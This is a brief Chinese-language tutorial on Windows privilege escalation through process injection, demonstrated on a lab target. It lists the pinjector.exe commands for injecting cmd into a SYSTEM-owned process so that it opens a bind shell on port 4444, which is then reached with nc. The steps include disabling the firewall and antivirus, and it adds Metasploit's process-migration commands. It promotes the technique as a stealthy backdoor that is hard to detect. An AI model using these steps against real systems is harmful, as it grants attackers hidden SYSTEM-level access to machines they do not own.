Windows提权 —— 进程注入提权

进程注入提权

使用 pinjector.exe 注入到system用户的进程中,使该进程绑定在0.0.0.0:port ,并建立监听端口,攻击者从攻击机上主动连接该地址,获取到系统的system权限。注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难被发现。

1. 工具:pinjector

下载:https://www.tarasco.org/security/Process_Injector/index.html

工具使用方法:

pinjector.exe -l 查看可利用的进程

pinjector.exe -p pid cmd port 对pid进程执行注入,并建立侦听端口

2. 利用步骤

演示将Administrator权限提升为System权限

本地用户组(lusrmgr.msc)启用Administrator,关闭防火墙和杀毒软件

上传pinjector.exe到靶机可执行目录;

运行以下命令,查看当前进程,以及进程权限;

pinjector.exe -l

指定某个进程的pid,然后将cmd注入到其中,同时开启侦听端口1234;

pinjector.exe -p 3040 cmd 4444

使用nc去连接目标服务器的4444端口,获取system权限的shell。

MSF进程注入

ps

migrate [PID号]